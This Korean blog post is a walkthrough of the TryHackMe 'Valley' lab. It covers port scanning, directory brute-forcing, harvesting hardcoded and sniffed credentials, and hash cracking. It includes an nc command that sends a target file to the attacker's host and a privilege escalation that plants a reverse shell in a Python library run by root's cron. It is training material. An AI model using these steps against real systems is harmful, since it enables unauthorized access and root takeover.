개요
이번 Challenge인 Valley에서는 Priviliege Esclate 단계에서 "이렇게도 풀어낼 수 있구나"를 알게 되었다. 즉 아무리 생각해도 풀어내는 방법을 모르겠어서 다른 WriteUp을 참고했다.
풀고 나서 보면 쉽지만 왜 푸는 과정에서 이런 아이디어가 안 떠오르는지 싶은데 이런 부분이 참 재밌어서 이런 안 풀리더라도 웬지 계속 도전하고 있는 것 같다.
Scan
╰─$ rustscan -b 500 -a TARGET_IP
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Nmap? More like slowmap.🐢
[~] The config file is expected to be at "/Users/jako/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.247.144:22
Open 10.10.247.144:80
Open 10.10.247.144:37370
...
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
37370/tcp open unknown syn-ack
Read data files from: /opt/homebrew/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.59 seconds
Scan에는 RustScan을 이용했다. 열려있는 Port는 22 ssh, 80 http, 37370 unknwon이다. unknown port가 뜨는 경우엔 Port에서 어떤 Service가 돌아가는지 알기 위해 간단한 Banner Grabbing을 시도했다. 단순히 nc를 이용해 해당 Port에 Request를 날려 무엇을 Response 해주는지를 보고자 한다.
╰─$ nc TARGET_IP 37370
220 (vsFTPd 3.0.3)
vsFTPd 3.0.3이 Response 되었다. 정리하면 Scan 단계에서 찾아낸 열려있는 서비스는 다음과 같다.
SSH, 22
HTTP, 80
FTP, 37370
Web Enumeration
웹으로 접근하여 정보를 더 얻어보도록 하자. 웹으로 접근한 경우 어떤 포토 갤러리를 소개하는 페이지가 나온다.
웹을 계속 탐색하다 보면 특정 이미지 파일이 업로드되어있는 링크를 발견할 수 있다.
위 사이트에서 각 파일을 클릭하면 다음과 같이 static 디렉터리 밑에 파일의 순서가 포함된 주소창에 노출된다.
URL에 각 파일의 순서번호가 있는 것으로 봐서 IDOR이 가능할 것으로 보인다.
GoBuster
앞서 IDOR이 가능할 것으로 보이는 포인트를 발견해 냈다. 해당 위치에 어떤 파일이 숨겨져 있는지 찾아내기 위해 gobuster를 이용해 보자.
╰─$ gobuster dir -w ./common.txt -u http://10.10.192.70/static -t 128
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.192.70/static
[+] Method: GET
[+] Threads: 128
[+] Wordlist: ./common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
===============================================================
2023/08/30 01:34:24 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/.hta (Status: 403) [Size: 277]
/00 (Status: 200) [Size: 127]
/3 (Status: 200) [Size: 421858]
/11 (Status: 200) [Size: 627909]
/10 (Status: 200) [Size: 2275927]
/5 (Status: 200) [Size: 1426557]
/6 (Status: 200) [Size: 2115495]
/1 (Status: 200) [Size: 2473315]
/9 (Status: 200) [Size: 1190575]
/12 (Status: 200) [Size: 2203486]
/13 (Status: 200) [Size: 3673497]
/14 (Status: 200) [Size: 3838999]
/15 (Status: 200) [Size: 3477315]
/2 (Status: 200) [Size: 3627113]
/4 (Status: 200) [Size: 7389635]
...
Progress: 4713 / 4714 (99.98%)
2023/08/30 01:34:37 Finished
gobuster에 이용된 사전 파일은 SecLists에서 제공하는 Discovery/Web-Content/common.txt 파일이다. 결과를 보면 "00"이라는 경로가 눈에 띈다. /1 ~/15 까지는 해당 페이지에서 쉽게 접근 가능한 각 파일인데 00이라는 정보는 gobuster 상에서만 나타났다. 여기에 curl을 날려보자.
╰─$ curl http://10.10.192.70/static/00 130 ↵
dev notes from valleyDev:
-add wedding photo examples
-redo the editing on #4
-remove /dev1243224123123
-check for SIEM alerts
3번째 줄에 /dev1243224123123 가 지워졌다는 문구가 나오는데 혹시 모르니 root directory부터 해당 경로로 접근 가능한지 차근차근 시도해 보자.
╰─$ curl http://10.10.192.70/dev1243224123123 -vvv
* Trying 10.10.192.70:80...
* Connected to 10.10.192.70 (10.10.192.70) port 80 (#0)
> GET /dev1243224123123 HTTP/1.1
> Host: 10.10.192.70
> User-Agent: curl/8.1.2
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< Date: Tue, 29 Aug 2023 16:39:15 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Location: http://10.10.192.70/dev1243224123123/
< Content-Length: 323
< Content-Type: text/html; charset=iso-8859-1
해당 경로가 살아있는 것이 확인된다.
/dev1243224123123
gobuster의 결과를 통해 얻은 /dev1243224123123라는 경로를 브라우저로 접속하면 다음과 같은 페이지가 나타난다.
username과 password과 필요하다. 페이지 소스보기부터 시도해 보자.
dev.js라는 javascript 파일이 보이는데 이 파일을 열어보자.
username이 siemDev이고 password가 california인 것을 dev.js상에서 확인되니 이를 가지고 로그인을 시도해 보자.
로그인에 성공했다. ftp server에 대한 노트처럼 보이며 credential을 재사용하지 말라고 되어있다.
FTP Enumeration
dev.js에서 얻은 credential을 ftp 서버에 이용해 보자.
╰─$ ftp 10.10.192.70 37370
Connected to 10.10.192.70.
220 (vsFTPd 3.0.3)
Name (10.10.192.70:jako): siemDev
331 Please specify the password.
Password:
230 Login successful.
ftp 로그인에 성공했다. 이제 ftp 서버 안에 어떤 파일들이 존재하는지 탐색해 보자.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
dr-xr-xr-x 2 1001 1001 4096 Mar 06 14:06 .
dr-xr-xr-x 2 1001 1001 4096 Mar 06 14:06 ..
-rw-rw-r-- 1 1000 1000 7272 Mar 06 13:55 siemFTP.pcapng
-rw-rw-r-- 1 1000 1000 1978716 Mar 06 13:55 siemHTTP1.pcapng
-rw-rw-r-- 1 1000 1000 1972448 Mar 06 14:06 siemHTTP2.pcapng
226 Directory send OK.
pcapng 파일들이 존재한다. 이를 다운로드하여서 분석을 진행하면 될 듯하다. 참고로 pcapng 파일을 받을 때 FTP 모드가 바이너리 모드인지 체크해 보자 필자는 ascii 모드여서 pcapng 파일을 다운로드하고도 wireshark로 pcapng 파일이 열리지 않아 다소 시간을 낭비했다. 다운로드한 pcapng 파일을 열심히 분석하다 보면 다음과 같은 credential을 발견할 수 있다.
Ganing Shell
Ftp Enumeration 단계에서 얻은 crendential을 가지고 ssh에 접속에 사용해 보자.
접속에 성공했다. 이제 /home 디렉터리로 이동해 보자.
/home 디렉터리에는 각 계정에 대한 디렉터리 외에도 valleyAuthenticator라는 파일이 추가로 확인된다. 현재 로그인된 쉘은 특정 명령어 실행에 대해 제한되어 있으니 valleyAuthenticator라는 파일을 로컬로 옮겨와서 분석해 보자. 가장 간단한 방법은 nc로 옮기는 것이다.
# local shell
$ nc -l 1234 > valleyAuthenticator
# Target
$ nc LOCAL_IP 1234 < valleyAuthenticator
이제 valleyAuthenticator에 대해 strings를 실행해 보자. strings를 실행하는 이유는 해당 프로세스 안에 어떤 문자열들이 존재하는지 간단히 체크해 보기 위함이다.
╰─$ strings valleyAuthenticator
...
0nent;
N.vA
-\(
UPX!
UPX!
UPX라는 문자열이 있는 걸로 봐서는 해당 프로세스는 UPX로 패킹되어 있는 듯싶다 UPX로 다시 언 패킹한 뒤 다시 strings를 수행해서 해당 프로세스 안의 문자를 찾다 보면 다음과 같은 문자들이 눈에 띈다.
e6722920bab2326f8217e4bf6b1b58ac
dd2921cc76ee3abfd2beb60709056cfb
Welcome to Valley Inc. Authenticator
What is your username:
What is your password:
Authenticated
Wrong Password or Username
basic_string::_M_construct null not valid
hash 된 문자열처럼 보이는데 이를 crackstation에 넣으면 다음과 같은 정보를 얻을 수 있다.
valley라는 user가 가진 password가 liberty123인 듯싶다. 이를 가지고 su를 시도해 보자 shell을 얻었다!
Priviliege Escalate
Root 권한을 얻기 위해 탐색해 보자. 여러 System Enumeration을 수행하기 전에 crontab에 혹시 무슨 정보가 있나 열어보자.
root 권한으로 photosEncrypt.py를 실행하고 있다. 이 파일에는 들어있는 소스를 통해 어떻게 공략할지 생각해 보자.
"개요"에서 언급했듯이 필자는 이 부분에서 Root 권한을 어떻게 얻어내야 할지 궁리해 보다가 풀리지 않아 WriteUp을 참고했다. 필자가 찾아낸 해법은 다음과 같다
"root 계정과 일반 사용자가 python3.8을 같은 경로에서 가져다 사용하고 있다"
위 문장의 뜻은 즉 base64를 import 하는 과정에서 reverse shell을 실행시키는 python 코드를 삽입하면 된다는 뜻이다. 위치를 특정하기 위해 다음과 같이 Python3.8이 어떤 위치로부터 base64를 쓰고 있는지 알아낼 필요가 있다.
해당 위치에 가서 revershell payload를 삽입하자.
이제 local에서 nc로 삽입한 revershell payload의 port로 수신대기하고 있으면 root 권한을 얻을 수 있다.
'Pentest > TryHackMe' 카테고리의 다른 글
[TryHackMe] Develpy (0) | 2023.09.28 |
---|---|
[TryHackMe] Pickle Rick (0) | 2023.08.19 |
[TryHackMe] Easy Peasy (0) | 2023.07.23 |
[TryHackMe] OverPass2 (0) | 2023.07.15 |
[TryHackMe] Ninja Skills (0) | 2023.03.18 |